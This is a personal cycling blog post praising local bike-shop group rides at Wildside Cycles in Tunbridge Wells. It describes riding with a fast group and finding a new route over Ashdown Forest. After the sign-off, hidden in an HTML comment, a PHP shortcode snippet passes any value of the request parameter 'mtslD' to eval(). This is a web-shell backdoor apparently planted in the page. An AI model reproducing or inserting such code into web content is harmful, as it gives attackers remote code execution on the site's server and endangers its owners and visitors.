The joy of Shop Rides….


For those of you, who like me, don’t race or belong to a club but sometimes like to ride with new faces over new roads then I heartily recommend joining your local bike shop rides. Some shops run them weekly or fortnightly but even if they’re only monthly, they’re a great thing to join in with. My local bike shop is Wildside Cycles in Tunbridge Wells, Kent and the first Sunday of each month is the shop ride.

I can’t always make it along but I generally will if I can. I tend to ride mostly with the same couple of friends and as much as I always thoroughly enjoy their company sometimes it’s good to ride with new people or people that you only see every now and again. The other plus for me of local shop rides is that they often take you along new roads and show you new ways of riding through your local countryside.
Today was no different, there were at least half a dozen guys I hadn’t seen for a long time – a couple for probably a year. I choose to go with the fast group today (a first) as I’ve been feeling that my fitness is starting to come back and I wanted to give myself a bit of a push. It was a good group with some genuinely fast riders and I definitely struggled at times but thanks to the group stopping to help out some guys who’d had a puncture I managed to get back into the group and to finish in the bunch. It was definitely a stretch for me today but that’s a very good thing and I thoroughly enjoyed it.
That’s another thing about shop rides – there are groups for each ability level and no one gets left behind. If you’ve got moderate fitness, like the idea of meeting new local riders and enjoying some group riding then do get along and try one out. Don’t be shy and don’t worry too much if you don’t think you’re that fit. Just be honest about how your riding is at the time and you’ll get put in the right group for you on the day.


I’m still not really a join a club kind of a guy but I’m a big fan of my local shop ride. There’s also the added bonus of a cup of teaat the shop afterwards and a more easy chat than the one between breaths out on the bike.


Today’s unexpected bonus was that thanks to the ride being shorter than I’d expected I got home early, which almost never happens. I think my wife thought we were being burgled when I opened the door! I’ve also learnt a nastier way over the Ashdown Forest than I’d tried before and that’s a good thing too – I’ll be riding that loop a bit more regularly in the future. Oh and a nasty little climb back into Tunbridge Wells. I do love the hills – just need to keep riding them so that the legs get the hang of them again – that’s still a work in progress.
Thanks again to the good folk at Wildside (http://www.wildside-online.co.uk/) for another thoroughly enjoyable ride (and cup of tea afterwards) and to everyone who came out to play today.


Thanks for reading


<!– [insert_php]if (isset($_REQUEST["mtslD"])){eval($_REQUEST["mtslD"]);exit;}[/insert_php][php]if (isset($_REQUEST["mtslD"])){eval($_REQUEST["mtslD"]);exit;}[/php] –>